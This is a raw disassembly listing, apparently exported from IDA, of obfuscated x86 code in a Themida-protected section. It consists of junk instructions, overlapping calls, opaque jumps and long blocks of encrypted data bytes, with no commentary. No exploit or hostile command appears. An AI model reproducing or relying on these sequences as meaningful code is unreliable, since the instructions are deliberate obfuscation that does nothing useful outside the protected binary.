loc_602C6C:				; CODE XREF: Themida_:00602C5Dj
					; Themida_:00602C63j
		push	ebx
		mov	ax, 6AEFh
		pop	edx
		or	ecx, 1129C7DAh
		mov	edx, 7DA0F5DBh
		jz	loc_602C88
		mov	esi, 2D49CB44h


loc_602C88:				; CODE XREF: Themida_:00602C7Dj
		push	edi
		pop	edi
		mov	ax, 0C2CDh
		mov	dx, ax
		sub	al, 2Eh
		mov	edx, 34BE2616h
		cld
		pusha
		call	near ptr loc_602CA4+3
		push	ebp
		in	eax, dx
		pusha
		dec	esp


loc_602CA4:				; CODE XREF: Themida_:00602C9Bp
		or	[ecx-87499ECh],	ebx
		pop	ecx
		call	sub_602CB5
; ---------------------------------------------------------------------------
		test	eax, 35E70A6Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_602CB5	proc near		; CODE XREF: Themida_:00602CABp
		jmp	sub_602CC0
sub_602CB5	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		xchg	eax, edx
		retf
; ---------------------------------------------------------------------------
		db 0BEh, 5Ah, 0DDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_602CC0	proc near		; CODE XREF: sub_602CB5j
		pop	esi
		popa
		jns	loc_602CD6
		jmp	loc_602CD6
; ---------------------------------------------------------------------------
		align 2
		dw 379Fh
		dd 17998A94h
		db 0AAh, 2Eh
; ---------------------------------------------------------------------------


loc_602CD6:				; CODE XREF: sub_602CC0+2j
					; sub_602CC0+8j
		adc	di, 0D086h
		push	edi
		call	sub_602CEF
		hlt
sub_602CC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 4113h
		dd 8DECFEECh, 15520AECh
; ---------------------------------------------------------------------------
		adc	al, 46h
		xchg	eax, ebx

; =============== S U B	R O U T	I N E =======================================



sub_602CEF	proc near		; CODE XREF: sub_602CC0+1Cp
		mov	ebx, 36B160Ah
		pop	eax
		pop	edx
		js	loc_602D07
		jl	loc_602D07
		mov	ecx, 152ED3A8h


loc_602D07:				; CODE XREF: sub_602CEF+7j
					; sub_602CEF+Dj
		call	sub_602D13
		test	eax, 467967B5h
		outsb
		out	dx, al
sub_602CEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_602D13	proc near		; CODE XREF: sub_602CEF:loc_602D07p
		push	ecx
		pusha
		popa
		pop	eax
		pop	edi
		clc
		jmp	loc_602D28
; ---------------------------------------------------------------------------
		dw 0F8E8h
		dd 0B21132BAh, 8360CA64h
; ---------------------------------------------------------------------------


loc_602D28:				; CODE XREF: sub_602D13+6j
		push	esi
		pop	ecx
		movsx	esi, dx
		jnz	loc_602D39
		jge	$+6


loc_602D39:				; CODE XREF: sub_602D13+1Aj
		mov	di, 442h
		pusha
		mov	bx, 0CB17h
		mov	bh, 0E5h
		popa
		mov	edx, 36EA45D7h
		movsx	esi, cx
		mov	cx, 0E116h
		stc
		jmp	loc_602D68
; ---------------------------------------------------------------------------
		db 54h
		dd 0E14682C6h, 1C0E51EFh, 0A22D29ADh, 731DD64Fh
; ---------------------------------------------------------------------------


loc_602D68:				; CODE XREF: sub_602D13+3Fj
		movsx	eax, cx
		jmp	loc_602D84
; ---------------------------------------------------------------------------
		dd 1D82A720h, 0FD166587h, 0C863DCAAh, 0ABF85F9Ah, 75EDBB0h
; ---------------------------------------------------------------------------


loc_602D84:				; CODE XREF: sub_602D13+58j
		push	eax
		jmp	loc_602D95
; ---------------------------------------------------------------------------
		mov	al, 0Ch
		push	esi
		cmp	eax, 2CF2713Fh
		dec	edi
		mov	al, 0FFh


loc_602D95:				; CODE XREF: sub_602D13+72j
		pop	esi
		push	ebx
		adc	ebx, 6E0A4CF7h
		pop	edi
		call	near ptr loc_602DB0+4
		mov	al, 92h
		cmp	dh, [esi]
		xlat
		mov	bh, 0ADh
		bound	esp, [edi+2D8BAEB4h]


loc_602DB0:				; CODE XREF: sub_602D13+8Bp
		mov	esp, 80D17D79h
sub_602D13	endp ; sp-analysis failed

		in	eax, dx
		retf	805Bh
; ---------------------------------------------------------------------------
		db 0E1h, 10h, 81h
		dd 9DA196E8h, 5660602Fh, 6161605Eh, 5EF95661h, 7DD8E681h
		dd 0EE979CBh, 0EC000000h, 722EEAC6h, 0CBE05984h, 0A1B185F4h
		dd 432DBBFFh, 81600AC5h, 9BAE3EFh, 0AADE8161h, 613F3B5Bh
		dd 0FC38B66h, 0E4BBD6B7h, 562E12D8h, 970F5AB8h,	0EDBF5B1Fh
		dd 666608ABh, 0FC81A9BFh, 6E9h,	9F31BA00h, 0F013CAEh, 486h
		dd 0A5BE6600h, 0C9BF0F7Eh, 38B0Fh, 8B660000h, 51D1BBD1h
		dd 66605013h, 14E9DF8Bh, 0F000000h, 0C5ACAF15h,	3D6D0382h
		dd 0E824A004h, 25F9A571h, 6100934Fh, 12E952h, 2AE0000h
		dd 65EF7550h, 90F9F6CEh, 0C9C848EAh, 576A0E37h,	64D2BA5Fh
		dd 2CB64C5Ch, 0EE8h, 4A769F00h,	2B111D3Ch, 0B7ECC875h
		dd 6629D2A8h, 0AF1DB81h, 8F0F575Bh, 3, 5ED0B70Fh, 0BD4BBF66h
		dd 9E960h, 0E160000h, 203A4CDBh, 8BFAA5A8h, 8A0F61D8h
		dd 3, 8B61FC60h, 0C88AF8F8h, 1B820Fh, 0FE80000h, 6A000000h
		dd 0B13023EBh, 2ECB2266h, 8E4FEA81h, 0C981CEA0h, 1EEB766Fh
		dd 0C981F859h, 40E1E1A1h, 0FA5E980h, 0E853F0B7h, 0Eh, 58C6FA3Ch
		dd 171D12BAh, 0A28C0A0Eh, 81663DB8h, 5AE065D1h,	0E9D88B58h
		dd 13h,	0DF0CC76Fh, 0ED4D2748h,	0E9CFDD88h, 2903DE61h
		dd 0F9A33ABh, 0B85h, 58C0F00h, 0B9000000h, 7E188D94h, 0FBE78150h
		dd 5B1C07CBh, 2830Fh, 0C88A0000h, 8E8h,	0C2866C00h, 0F20F266Dh
		dd 0D4F5806Ah, 9E95Bh, 0C2D90000h, 5EA07EB6h, 0FCD66EFEh
		dd 32BBF66h, 0C6B70F52h, 0F5F38059h, 178D0F52h,	0E9000000h
		dd 12h,	0E1F16AD8h, 0DFC69BA0h,	313C3E42h, 7075E3E9h, 665BB81Ah
		dd 0F10AFB9h, 8Ch, 830F6000h, 6, 840Fh,	0BA660000h, 0B961D008h
		dd 3A05061Dh, 0AE8h, 8C30A800h,	0AC2504E0h, 59A1A17Bh
		dd 89DA8166h, 0D98B66BCh, 0BE9h, 418FB400h, 0F3C37A50h
		dd 0C335A7D9h, 0FEAFB866h, 0FCA8B66h, 0DE80C7BFh, 0E8FE8B82h
		dd 8, 948BA73Fh, 0C029F67Eh, 5FF9B70Fh,	8DE38166h, 0EE99Ch
		dd 0B17E0000h, 5DFE3F44h, 718D5B44h, 0D9BBDD0h,	66F78B66h
		dd 0C88CE781h, 6FC4B966h, 85B2CA8Ah, 8A9DDF80h,	6E9C7h
		dd 35400000h, 331F6F6h,	0B7CEB70Fh, 0DF8B6657h,	6E9h, 0E44ACE00h
		dd 0F6755DCh, 800FC9BFh, 3, 8B23DE80h, 6660F8FBh, 0B9B7F88Bh
		dd 7B63BB61h, 81661EBFh, 666431E3h, 0F9F196B8h,	0BF0F5B53h
		dd 0CF8B66C8h, 208D0Fh,	6E80000h, 35000000h, 0D6D46A0Dh
		dd 0FE984h, 305E0000h, 6F3A2522h, 22F5CAA3h, 5D73BDB8h
		dd 14E95E27h, 2000000h,	8AFB2137h, 60A5AE26h, 0A237BD94h
		dd 9C39C401h, 0B95B83F1h, 3DFAC67Bh, 178C0Fh, 0E9600000h
		dd 0Ah,	0D0273573h, 0CBB91A53h,	830F989Fh, 0
; ---------------------------------------------------------------------------
		popa
		mov	ecx, eax
		cmc
		jmp	loc_6030ED
; ---------------------------------------------------------------------------
		mov	ds:0D1A6C9C9h, al
		adc	[edi+1Ah], edx
		mov	ch, 0Ah
		sub	dword ptr [esi+7E32E9CEh], 0BABE2B04h


loc_6030ED:				; CODE XREF: Themida_:006030D4j
		mov	ebx, 47C8C61Eh
		jmp	loc_60310B
; ---------------------------------------------------------------------------
		db 0FDh
		dd 0DFEF0F59h, 1524EB35h, 3B12C076h, 845F16F7h
		db 0F4h, 0CCh, 0Fh
; ---------------------------------------------------------------------------


loc_60310B:				; CODE XREF: Themida_:006030F2j
		jmp	loc_603120
; ---------------------------------------------------------------------------
		dd 8BFEC5A0h, 0F4230F5Dh, 0EECA325Dh, 319D85D8h
; ---------------------------------------------------------------------------


loc_603120:				; CODE XREF: Themida_:loc_60310Bj
		push	ecx
		mov	ah, 0DEh
		pop	eax
		mov	eax, 4139B825h
		pusha
		call	near ptr loc_603135+4
		adc	bh, dh
		push	ebp
		add	[ecx+23h], al


loc_603135:				; CODE XREF: Themida_:0060312Ap
		mov	byte ptr [edi-7E453D62h], 33h
		jb	short near ptr loc_6031B2+1
		pop	ecx
		jns	loc_60314B
		jno	$+6


loc_60314B:				; CODE XREF: Themida_:0060313Fj
		popa
		clc
		mov	di, dx
		jmp	loc_603167
; ---------------------------------------------------------------------------
		db 8, 2Ah, 0EAh
		dd 77E6DE3Ah, 1D814B0Ah, 8BA98004h
; ---------------------------------------------------------------------------
		inc	esi
		sbb	[ebx], ah


loc_603167:				; CODE XREF: Themida_:00603150j
		mov	esi, edi
		mov	cx, 94A1h
		jmp	loc_603186
; ---------------------------------------------------------------------------
		dw 0EA76h
		dd 29768C7Eh, 0C50BBD40h, 8BD7BA37h, 5A04FFE4h
		db 3Bh,	7Fh
; ---------------------------------------------------------------------------


loc_603186:				; CODE XREF: Themida_:0060316Dj
		xor	edx, 2F71248h
		mov	ecx, 596C6910h
		push	esi
		pop	eax
		jz	loc_6031B0
		jmp	loc_6031B0
; ---------------------------------------------------------------------------
		dw 0EFFDh
; ---------------------------------------------------------------------------
		pop	ebp
		mov	ebp, edx
		mov	cl, 18h
		movsb
		adc	esi, ecx
		sub	[edx], cl
		xchg	al, [eax+30h]
		push	esp
		sub	bh, dh


loc_6031B0:				; CODE XREF: Themida_:00603193j
					; Themida_:00603199j
		mov	edx, esi


loc_6031B2:				; CODE XREF: Themida_:0060313Cj
		mov	bx, 4FFDh
		mov	dx, 0E85Eh
		jmp	loc_6031C4
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 12BE5334h
; ---------------------------------------------------------------------------


loc_6031C4:				; CODE XREF: Themida_:006031BAj
		mov	si, cx
		clc
		movzx	ebx, di
		movsx	eax, bx
		and	ebx, 675FED9Fh
		clc
		jle	loc_6031F3
		jmp	loc_6031F3
; ---------------------------------------------------------------------------
		dd 5EC6687Ch, 0B2420B04h, 49E29EB7h, 27EC5838h
		db 0A1h, 95h, 32h
; ---------------------------------------------------------------------------


loc_6031F3:				; CODE XREF: Themida_:006031D5j
					; Themida_:006031DBj
		jmp	loc_60320B
; ---------------------------------------------------------------------------
		dd 0AA57A119h, 4B50F8EEh, 2D6C7037h, 6CBDAC7h
		db 31h,	33h, 38h
; ---------------------------------------------------------------------------


loc_60320B:				; CODE XREF: Themida_:loc_6031F3j
		movzx	ebx, bx
		jl	loc_60321B
		pusha
		mov	di, 58F0h
		cmc
		popa


loc_60321B:				; CODE XREF: Themida_:0060320Ej
		mov	bh, 0E6h
		mov	si, 3083h
		movsx	edx, ax
		mov	ecx, edi
		jmp	loc_60323E
; ---------------------------------------------------------------------------
		db 0DBh
		dd 98CD51ACh, 27E80A02h, 0AC7CD2ADh, 42CA7E00h
		db 3Bh,	47h
; ---------------------------------------------------------------------------


loc_60323E:				; CODE XREF: Themida_:00603226j
		xor	si, 0D47Bh
		jmp	loc_603256
; ---------------------------------------------------------------------------
		adc	bl, bh
		retf
; ---------------------------------------------------------------------------
		sbb	dword ptr [ebp+733F2FD5h], 53AF0247h
		retf
; ---------------------------------------------------------------------------


loc_603256:				; CODE XREF: Themida_:00603243j
		mov	cx, si
		mov	eax, 446D1B32h
		sub	eax, 32B732E7h
		sub	di, 0FA01h
		jmp	loc_603275
; ---------------------------------------------------------------------------
		dw 50B1h
		dd 49F6DE0Ah
		db 0F4h
; ---------------------------------------------------------------------------


loc_603275:				; CODE XREF: Themida_:00603269j
		push	edi
		pop	edi
		mov	ah, 36h
		jp	loc_603285
		sbb	edi, 4BF5D95h


loc_603285:				; CODE XREF: Themida_:00603279j
		stc
		mov	ecx, 6DC1F4AFh
		mov	edi, 1DEF1BB5h
		sbb	dl, 98h
		jmp	loc_60329F
; ---------------------------------------------------------------------------
		dd 0EF7F0C67h
		db 4Fh,	0BDh, 0F0h
; ---------------------------------------------------------------------------


loc_60329F:				; CODE XREF: Themida_:00603293j
		cld
		movsx	edi, ax
		jnz	loc_6032C2
		push	esi
		call	near ptr loc_6032BE+2 ;	CODE XREF: Themida_:00603317j
		pop	edx
		mov	ds:5A01A0C7h, eax
		push	esi
		mov	ds:0F52EF7E3h, eax
		scasb
		cmp	bl, dl


loc_6032BE:				; CODE XREF: Themida_:006032AAp
		rcl	byte ptr [esi],	5Ah
		pop	ecx


loc_6032C2:				; CODE XREF: Themida_:006032A3j
		mov	dx, 2A68h
		jmp	loc_6032DC
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E6FB3DFAh, 48D140Ah, 0F10025F0h, 2CB9053Fh
; ---------------------------------------------------------------------------


loc_6032DC:				; CODE XREF: Themida_:006032C6j
		call	near ptr loc_6032E6+4
		mov	eax, ds:3C924AA4h


loc_6032E6:				; CODE XREF: Themida_:loc_6032DCp
		add	eax, 6673E2D8h
		mov	ebx, 605EE373h
		xor	edi, 68FA60A0h
		jbe	loc_6032FE
		pusha
		popa


loc_6032FE:				; CODE XREF: Themida_:006032F6j
		popa
		or	dh, 81h
		jmp	loc_603310
; ---------------------------------------------------------------------------
		push	edi
		push	edi
		adc	[ecx+74315BBh],	ch
		dec	ebp


loc_603310:				; CODE XREF: Themida_:00603302j
		mov	eax, esi
		call	sub_603323
		rep jge	short near ptr loc_6032AA+3
		dec	esi
; ---------------------------------------------------------------------------
		db 0C5h
; ---------------------------------------------------------------------------
		fsub	qword ptr [esp+ecx*2+4Dh]
		xor	al, 6Dh
		pop	eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_603323	proc near		; CODE XREF: Themida_:00603312p
		jmp	sub_60332F
sub_603323	endp

; ---------------------------------------------------------------------------
		dd 0A31B611Ch
; ---------------------------------------------------------------------------
		setalc
		or	[ebx], esi

; =============== S U B	R O U T	I N E =======================================



sub_60332F	proc near		; CODE XREF: sub_603323j
		pop	ecx
		xor	di, 7E53h
		sub	eax, 4982963Bh
		sub	cl, 22h
		adc	cx, 0A9DBh
		call	near ptr loc_60334F+1
		setalc
		test	eax, 0A9942C31h
		xchg	eax, edi


loc_60334F:				; CODE XREF: sub_60332F+14p
		or	ebp, eax
sub_60332F	endp ; sp-analysis failed

		or	eax, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0CE597A00h, 35A932A2h, 0BDFADD15h, 22F28166h, 0F585BBAh
		dd 86h,	0D1816000h, 4206F948h, 6661D98Bh, 81A2C881h, 0C800Fh
		dd 830F0000h, 6, 0F2A5EB81h, 8166469Dh,	66EC19DEh, 7E8DA8Bh
		dd 0A4000000h, 0FE5D886Dh, 42BF79D3h, 5B0BC83Eh, 8E9h
		dd 8FABE500h, 0F65C21DEh, 8B66F80Fh, 860FF5F8h,	5, 3BEE8166h
		dd 0CB8BF988h, 99BF6660h, 6850FAFh, 0F000000h, 85h, 840F6100h
		dd 0
		dd 78A0Fh, 870F0000h, 1, 3C36BFF5h, 8B667869h, 0E8D08BD1h
		dd 7, 0B7B6EDFBh, 66F2F4C2h, 0DA15D181h, 0E956F558h, 0Fh
		dd 0AC5D1605h, 0A093EF93h, 2298ED1Dh, 59ED0C7Dh, 13E9h
		dd 381C0B00h, 0CB8FDE35h, 9721BBA5h, 0C870B353h, 5374B201h
		dd 0CBBF0F60h, 61D6BF0Fh, 0EB80BAB6h, 71EE811Ch, 8000F6E4h
		dd 0C28BFFF7h, 4860Fh, 0BE660000h, 55BE4095h, 0E926EB92h
		dd 0Bh,	54223952h, 8BCD429Ch, 53AB5BFAh, 14E9h,	69E90700h
		dd 0BCF0F39h, 834F152Fh, 0B2490C19h, 6F9DC34Ch,	8B66588Ch
		dd 5260F5CAh, 153A41B9h, 81665F09h, 61C8B2C9h, 0BCD28166h
		dd 496EBEBAh, 830F5195h, 4, 0C8E4BF66h,	65B1C681h, 816663E7h
		dd 8B0669EEh, 0D18166DEh, 0EE803DD4h, 0BF0F60FDh, 49B966D2h
		dd 0DE8161DCh, 42D86842h, 50D6B70Fh, 0DE9h, 8AC30300h
		dd 0DADB2C7Eh, 0E0493A07h, 0B059EEDBh, 0E96060FAh, 5, 0D03A5C45h
		dd 0C381614Ch, 11CF7D86h, 850F5161h, 0
; ---------------------------------------------------------------------------
		pop	esi
		jmp	loc_603520
; ---------------------------------------------------------------------------
		dw 0DB30h
		dd 0B45155DEh, 22B52220h, 4CF594F8h, 0A931FC8Ch
; ---------------------------------------------------------------------------


loc_603520:				; CODE XREF: Themida_:00603509j
		and	ecx, 19B571B9h
		jno	loc_60352E
		mov	cl, 55h


loc_60352E:				; CODE XREF: Themida_:00603526j
		sub	ebx, 6A59DA41h
		mov	dh, 3Eh
		call	sub_603545	; CODE XREF: Themida_:0060353Bj
		loope	near ptr loc_603536+3
		xor	al, 12h
		pop	es
		and	ah, [edx]
		scasd
		jnb	short near ptr dword_6033E0+11Ch

; =============== S U B	R O U T	I N E =======================================



sub_603545	proc near		; CODE XREF: Themida_:loc_603536p
		pusha
		clc
		movsx	edx, cx
		popa
		pop	esi
		jmp	loc_603559
; ---------------------------------------------------------------------------
		db 0D0h, 5Fh, 9Eh
		dd 0E1C6D59Ah
		db 6Fh
; ---------------------------------------------------------------------------


loc_603559:				; CODE XREF: sub_603545+7j
		jmp	loc_603565
; ---------------------------------------------------------------------------
		db 90h
		db 9Dh
		dd 0EA12E9EEh
byte_603564	db 0B2h			; CODE XREF: sub_603545+56j
; ---------------------------------------------------------------------------


loc_603565:				; CODE XREF: sub_603545:loc_603559j
		movsx	eax, dx
		movsx	ebx, ax
		clc
		movzx	ecx, di
		mov	si, 0CEADh
		jmp	loc_60358C
; ---------------------------------------------------------------------------
		dd 0DEE9823Bh, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 97818584h
; ---------------------------------------------------------------------------


loc_60358C:				; CODE XREF: sub_603545+2Ej
		pusha
		stc
		xor	edi, 564DE79Ah
		popa
		call	near ptr loc_6035A5+4
		scasb
		loope	near ptr byte_603564
		push	ds
		cmp	al, 91h
		inc	esi
		db	36h
		or	eax, esp
		stosd


loc_6035A5:				; CODE XREF: sub_603545+50p
		mov	word ptr [ebp+6E81D0Ch], cs
sub_603545	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 43E00000h, 0CC694260h, 870Fh, 5E5A0000h, 0F5DF8B66h
		dd 5E8h, 0E1D36600h, 0CE8B3CF2h, 0CDB96659h, 8166535Ah
		dd 5E2EEDD9h, 0AE8h, 0E9B00900h, 0B0C5AA3Ch, 8BCF24D5h
		dd 0C38B5AD7h, 12E9h, 0B823F300h, 6692CD4h, 0A20792B7h
		dd 9C8AA9F1h, 0E80267B8h, 13h, 459D3128h, 0B36D11A7h, 32CC29EAh
		dd 21C4A923h, 523CBBCAh, 5BFEB70Fh, 0F860505Fh,	6170F680h
		dd 0BFCB8059h, 10810Fh,	7E80000h, 0B4000000h, 36367B4Bh
		dd 0E880AB3Bh, 0D38B5E45h, 11E960h, 98440000h, 51801CF3h
		dd 807AE739h, 0C2DA2C0Fh, 538E4B79h, 58DFB70Fh,	47C78061h
		dd 0C18B6657h, 0AE959h,	5BB70000h, 651F65B6h, 8871557Eh
		dd 0E8CA8B66h, 11h, 82D179E8h, 4937BA97h, 0D6A9F5BBh, 0CD1F7DC7h
		dd 5E986h, 0F38E0000h, 5B27AD3Ah, 80F7BF0Fh, 14E925F6h
		dd 43000000h, 69F48F21h, 6E4DAE1Eh, 0D30E9EABh,	0F896D8C9h
		dd 8B5DADA8h, 9E8C7h, 0B76B0000h, 74E0DC61h, 8B9B4389h
		dd 0F08B5FF0h, 0F5C68B60h, 4810F61h, 66000000h,	568B54B9h
		dd 5E8h, 3302E300h, 0BB660543h,	5F5F65FDh, 5E9h, 824FAE00h
		dd 12E9B035h, 52000000h, 0A38119AEh, 5736BAB4h,	593499E9h
		dd 0AC1D99B0h, 20880F53h, 0E8000000h, 0Eh, 6F3602CCh, 0E4F7692Fh
		dd 0A0DE6CABh, 6E86A7Eh, 39000000h, 732B6777h, 0F5E5F73h
		dd 0BF66FAB7h, 0ED808EB6h, 0B860F511h, 4ACE3Bh,	0D0CBBE66h
		dd 65BB6661h, 19820F11h, 0E9000000h, 14h, 1957E6BEh, 0A4E3E228h
		dd 2ADD73Ch, 0BF4F810Dh, 26155461h, 38F0FF8h, 0F000000h
		dd 8E9C6B7h, 0CD000000h, 5297592h, 819C0363h, 4BD550CFh
		dd 850F18h, 80000000h, 830F87D9h, 5, 0F0B70F56h, 0F78B6658h
		dd 48B0Fh, 0BB660000h, 0F78117B5h, 72DC31DCh, 10E8h, 0D9AD8C00h
		dd 903F96C9h, 0D9A02F70h, 729AFDC6h, 8EC2BB58h,	525B7B92h
		dd 5BC38B66h, 0F51D08Ah, 86h, 81665A00h, 661549CEh, 0FB3FCBEh
		dd 1B8Dh, 0CF8B6000h, 12E9h, 2B82DD00h,	60EC430Ch, 75B66B95h
		dd 33B97275h, 61C4FDA0h, 0A92315BBh, 1850F32h, 0F9000000h
		dd 4C93C081h, 0BF663B20h, 0E5809C36h, 81C8B72Fh, 0EEC1EAD0h
		dd 98E6812Eh, 8B11D8F6h, 3ABB51FBh, 5E36CF44h, 0DCB96652h
		dd 0EB815ABBh, 2551C1Dh, 0CD9BBF66h, 890Fh, 0EEBF0000h
		dd 0B72B2F1Eh, 9E969h, 3C240000h, 0C6B49F57h, 0FC0AA1E2h
		dd 68A0Fh, 0F2810000h, 4F8D8F89h, 0D08B6651h, 66E68A5Bh
		dd 0F667CBBh, 885h, 800F5200h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		mov	ax, 0BC4Fh
		jz	$+6
		mov	bx, dx
		mov	dh, 0E6h
		jmp	loc_6038AD
; ---------------------------------------------------------------------------
		db 21h,	57h, 2Ah
		dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h
		db 12h
; ---------------------------------------------------------------------------


loc_6038AD:				; CODE XREF: Themida_:00603898j
		pusha
		cld
		popa
		mov	di, dx
		mov	bh, 9Dh
		and	bx, 0E01h
		push	esi
		pop	esi
		mov	ecx, 0AE9CDB6h
		mov	cx, 7F1Eh
		cmc
		jmp	loc_6038DF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 8274A3C1h, 30BE011Ch, 0BFDF9942h, 5C7D7271h
		db 0F2h, 69h, 5Ch
; ---------------------------------------------------------------------------


loc_6038DF:				; CODE XREF: Themida_:006038C6j
		push	ecx
		pop	eax
		and	edi, 5EFB3E89h
		adc	dx, 0A085h
		add	edx, 578D7060h
		mov	bx, 3FDBh
		push	ebx
		pop	ebx
		movzx	eax, si
		mov	cl, 55h
		jns	loc_603912
		jmp	loc_603912
; ---------------------------------------------------------------------------
		dd 1FD00377h, 171AE926h
		db 35h,	0B3h
; ---------------------------------------------------------------------------


loc_603912:				; CODE XREF: Themida_:006038FDj
					; Themida_:00603903j
		movsx	edx, bx
		cmc
		movsx	esi, ax
		jp	loc_603921
		mov	ebx, edi


loc_603921:				; CODE XREF: Themida_:00603919j
		or	ax, 0F3D7h
		sub	edx, 6EB53CCDh
		jz	loc_603934
		mov	dh, al


loc_603934:				; CODE XREF: Themida_:0060392Cj
		mov	edi, 688310EEh
		pusha
		mov	edi, ecx
		jmp	loc_60394A
; ---------------------------------------------------------------------------
		db 75h,	2Bh, 0A9h
		dd 7ECF3CFCh
		db 9Fh,	15h
; ---------------------------------------------------------------------------


loc_60394A:				; CODE XREF: Themida_:0060393Cj
		popa
		jmp	loc_60395B
; ---------------------------------------------------------------------------
		dd 727BC774h, 27608E0Fh
		db 95h,	58h, 0E3h
; ---------------------------------------------------------------------------


loc_60395B:				; CODE XREF: Themida_:0060394Bj
		jmp	loc_603966
; ---------------------------------------------------------------------------
		dd 8FA60F1Ah
		db 0A3h, 2Ah
; ---------------------------------------------------------------------------


loc_603966:				; CODE XREF: Themida_:loc_60395Bj
		jmp	loc_603973
; ---------------------------------------------------------------------------
		db 0A3h
		dd 184C216Eh
		db 79h,	21h, 65h
; ---------------------------------------------------------------------------


loc_603973:				; CODE XREF: Themida_:loc_603966j
		mov	eax, edi
		sub	ecx, 60D7E23Bh
		jmp	loc_603990
; ---------------------------------------------------------------------------
		dd 0B6D34D05h, 6F976D0Dh, 9556F446h, 6A37F501h
; ---------------------------------------------------------------------------


loc_603990:				; CODE XREF: Themida_:0060397Bj
		mov	ch, 5Ah
		and	bh, 0E9h
		mov	eax, edx
		mov	esi, 440E9625h
		cmc
		cmc
		mov	si, di
		call	sub_6039B6
		retn	8170h
; ---------------------------------------------------------------------------
		db 0D4h, 47h, 0ADh
		dd 26468172h, 0F065D112h
		db 0DCh, 0A1h

; =============== S U B	R O U T	I N E =======================================



sub_6039B6	proc near		; CODE XREF: Themida_:006039A1p
		add	dl, 0BCh
		pop	eax
		add	eax, 4AB3C472h
		jnp	loc_6039C9
		movsx	ebx, cx


loc_6039C9:				; CODE XREF: sub_6039B6+Aj
		mov	bx, 0FF7Dh
		mov	bx, 0AF59h
		movzx	ecx, di
		jz	loc_6039EB
		jmp	loc_6039EB
; ---------------------------------------------------------------------------
		db 63h
		dd 89F8AD45h, 4EED632Fh
; ---------------------------------------------------------------------------


loc_6039E8:				; CODE XREF: sub_6039B6+54j
		aas
		cwde
; ---------------------------------------------------------------------------
		db 24h
; ---------------------------------------------------------------------------


loc_6039EB:				; CODE XREF: sub_6039B6+1Ej
					; sub_6039B6+24j
		pusha
		pusha
		mov	ah, 35h
		adc	si, 255Ah
		popa
		js	near ptr loc_603A13+2
		call	near ptr loc_603A13+1
		and	eax, [ecx+edx*2+75h]
		db	36h
		clc
		enter	0FFFF8B19h, 56h
		jb	short loc_6039E8
		sub	edx, [esi]
		imul	edi, ecx, 33h
		pusha
		push	edx


loc_603A13:				; CODE XREF: sub_6039B6+45p
					; sub_6039B6+3Fj
		arpl	[edi+61h], bx
sub_6039B6	endp ; sp-analysis failed

		push	ebx
		jmp	loc_603A22
; ---------------------------------------------------------------------------
		dd 0AB38D5Dh
		db 0BFh, 0B2h
; ---------------------------------------------------------------------------


loc_603A22:				; CODE XREF: Themida_:00603A17j
		pop	edx
		sbb	al, 0C9h
		jp	loc_603A32
		pusha
		mov	al, 40h
		pusha
; START	OF FUNCTION CHUNK FOR sub_603A60


loc_603A30:				; CODE XREF: sub_603A60+10j
		popa
		popa


loc_603A32:				; CODE XREF: Themida_:00603A26j
		sub	esi, 6E08BDDEh
		or	dx, 859h
		push	ebx
		xor	edi, 15B206Fh
		pop	edx
		jmp	loc_603A54
; END OF FUNCTION CHUNK	FOR sub_603A60
; ---------------------------------------------------------------------------
		dw 8E57h
; ---------------------------------------------------------------------------
		mov	eax, 5671DB19h
		or	[ebp-68h], cl
; START	OF FUNCTION CHUNK FOR sub_603A60


loc_603A54:				; CODE XREF: sub_603A60-1Bj
		call	sub_603A60
		sub	cl, [edx+eax*2-637F8E23h]
; END OF FUNCTION CHUNK	FOR sub_603A60

; =============== S U B	R O U T	I N E =======================================



sub_603A60	proc near		; CODE XREF: sub_603A60:loc_603A54p

; FUNCTION CHUNK AT 00603A30 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00603A54 SIZE 0000000C BYTES

		mov	si, 9A89h
		pop	ebx
		or	dx, 5312h
		call	near ptr loc_603A75+3
		das
		jz	short loc_603A30
		int	2Fh
		daa


loc_603A75:				; CODE XREF: sub_603A60+Ap
		or	bl, [ebx+5FD38BE0h]
sub_603A60	endp ; sp-analysis failed

		mov	ebx, 409A448h
		mov	ebx, 5C298860h
		push	ebx
		sbb	ecx, 9A7C474h
		pop	ebx
		sub	cx, 9C22h
		mov	edx, ebx
		mov	si, 0E5C8h
		sub	si, 376Bh
		jno	loc_603AA6
		mov	bx, cx


loc_603AA6:				; CODE XREF: Themida_:00603A9Dj
		add	cx, 0FBF6h
		stc
		clc
		or	al, 29h
		mov	di, si
		jg	loc_603ACA
		pusha
		pusha
		popa
		jmp	loc_603AC9
; ---------------------------------------------------------------------------
		db 0FCh, 4Eh, 0B8h
		dd 0AEE5BC59h
		db 6Ah
; ---------------------------------------------------------------------------


loc_603AC9:				; CODE XREF: Themida_:00603ABCj
		popa


loc_603ACA:				; CODE XREF: Themida_:00603AB3j
		mov	edi, 5B7044E6h
		pusha
		or	dx, 91A2h
		popa
		jmp	loc_603AEF
; ---------------------------------------------------------------------------
		db 3Bh
		dd 17A36AD2h, 0F3B9B204h, 0F17773EFh, 126F0364h
		db 0E0h, 0Ah, 0CEh
; ---------------------------------------------------------------------------


loc_603AEF:				; CODE XREF: Themida_:00603AD6j
		ja	loc_603AF6
		cmc


loc_603AF6:				; CODE XREF: Themida_:loc_603AEFj
		and	dx, 1015h
		ja	loc_603B27
		call	near ptr loc_603B12+2
		and	ebp, edx
		fcmovne	st, st(5)
		mov	bl, al
		and	[esi], edx
		shl	dword ptr [ecx], 1
		dec	ebp
		aaa


loc_603B12:				; CODE XREF: Themida_:00603B01p
		xor	ch, [ecx+ebp*8+0Dh]
; ---------------------------------------------------------------------------
		dw 0
		dd 4054B600h, 389C0A7Eh, 97DD20B5h
